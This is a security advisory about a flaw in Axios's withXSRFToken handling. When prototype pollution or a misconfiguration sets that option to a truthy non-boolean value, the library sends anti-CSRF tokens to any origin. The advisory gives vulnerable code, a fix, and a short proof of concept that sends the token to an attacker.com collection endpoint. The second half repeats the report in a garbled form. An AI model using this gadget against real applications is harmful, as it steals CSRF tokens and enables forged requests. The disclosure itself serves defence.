Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
- CWE-201: Insertion of Sensitive Information Into Sent Data
- CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric |
Value |
Justification |
| Attack Vector |
Network |
PP triggered remotely via vulnerable dependency |
| Attack Complexity |
Low |
Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required |
None |
No authentication needed |
| User Interaction |
Required |
Victim must use browser with axios making cross-origin requests |
| Scope |
Unchanged |
Token leakage within browser context |
| Confidentiality |
Low |
XSRF token leaked — anti-CSRF token, not session token |
| Integrity |
Low |
Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability |
None |
No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Designed behavior:
true → always send token (explicit cross-origin opt-in)
false → never send token
undefined → send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []):
- All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
Verified PoC Output
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
Impact Analysis
- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
- Universal Scope: A single
Object.prototype.withXSRFToken = 1 affects every axios request in the application
- Misconfiguration Risk: Developer writing
withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP
Limitations:
- Browser-only (XSRF logic runs only in
hasStandardBrowserEnv)
- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
- Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Resources
Timeline
| Date |
Event |
| 2026-04-15 |
Vulnerability discovered during source code audit |
| 2026-04-16 |
Report revised: corrected CVSS, documented limitations |
| TBD |
Report submitted to vendor via GitHub Security Advisory |
References
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in
withXSRFTokenBoolean CoercionSummary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the
withXSRFTokenconfig property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.Severity: Medium (CVSS 5.4)
Affected Versions: All versions since
withXSRFTokenwas introducedVulnerable Component:
lib/helpers/resolveConfig.js:59Environment: Browser-only (XSRF logic only runs when
hasStandardBrowserEnvis true)CWE
CVSS 3.1
Score: 5.4 (Medium)
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:NUsage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute
Object.prototype.withXSRFTokenwith any truthy value (e.g.,1,"true",{}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.Vulnerable Code
File:
lib/helpers/resolveConfig.js, lines 57-66Designed behavior:
true→ always send token (explicit cross-origin opt-in)false→ never send tokenundefined→ send only for same-origin requestsActual behavior for non-boolean truthy values (
1,"false",{},[]):Proof of Concept
Verified PoC Output
Impact Analysis
Object.prototype.withXSRFToken = 1affects every axios request in the applicationwithXSRFToken: "false"(string) instead offalse(boolean) triggers the same issue without PPLimitations:
hasStandardBrowserEnv)Recommended Fix
Use strict boolean comparison:
Resources
Timeline
References